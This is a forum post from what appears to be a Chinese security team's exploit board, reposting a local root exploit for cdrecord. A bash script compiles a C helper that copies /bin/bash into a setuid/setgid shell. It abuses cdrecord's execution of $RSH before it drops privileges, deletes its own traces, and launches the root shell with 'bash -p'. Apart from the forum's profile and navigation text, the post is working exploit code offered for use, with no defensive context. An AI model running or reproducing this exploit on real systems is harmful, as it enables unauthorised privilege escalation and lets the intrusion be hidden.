Cdrecord RSH SUID Shell Creation

冰血封情

老林

团队决策人

Rank: 9 Rank: 9 Rank: 9

E.S.T运营责任人

帖子: 6819
精华: 834
积分: 36070
阅读权限: 255
性别: 男
来自: 中国
在线时间: 586 小时
注册时间: 2004-6-25
最后登录: 2008-9-6

优秀管理奖资料收集奖原创技术奖核心建议奖

发短消息
加为好友
当前离线

楼主大中小发表于 2004-9-16 01:11 只看该作者

Cdrecord RSH SUID Shell Creation

信息来源：HK20

复制内容到剪贴板

代码:

#!/bin/bash 



# 

# cdrecord-suidshell.sh - I)ruid [CAU] (09.2004) 

# 

# Exploits cdrecord&#39;s exec() of $RSH before dropping privs 

# 



cat > ./cpbinbash.c << __EOF__ 

#include <stdio.h> 

#include <sys/types.h> 

#include <sys/stat.h> 

#include <fcntl.h> 



main( int argc, char *argv[] ) { 

      int fd1, fd2; 

      int count; 

      char buffer[1]; 



      /* Set ID&#39;s */ 

      setuid( geteuid() ); 

      setgid( geteuid() ); 



      /* Copy the shell */ 

      if ((fd1=open( "/bin/bash", O_RDONLY))<0) 

           return -1; 

      if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0) 

           return -1; 

      while((count=read(fd1, buffer, 1))) 

           write(fd2, buffer, count); 

      free(buffer); 

      close( fd1 ); 

      close( fd2 ); 



      /* Priv the shell */ 

      chown( "./bash", geteuid(), geteuid() ); 

      chmod( "./bash", 3565 ); 

} 

__EOF__ 



cc ./cpbinbash.c -o ./cpbinbash 



# Set up environment 

export RSHSAVE=$RSH 

export RSH=./cpbinbash 



# Sploit 

cdrecord dev= REMOTE:CAU:1,0,0 - 



# Cleanup 

rm cpbinbash* 

export RSH=$RSHSAVE 

export RSHSAVE= 



# Use our suid bash 

./bash -p

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » Cdrecord RSH SUID Shell Creation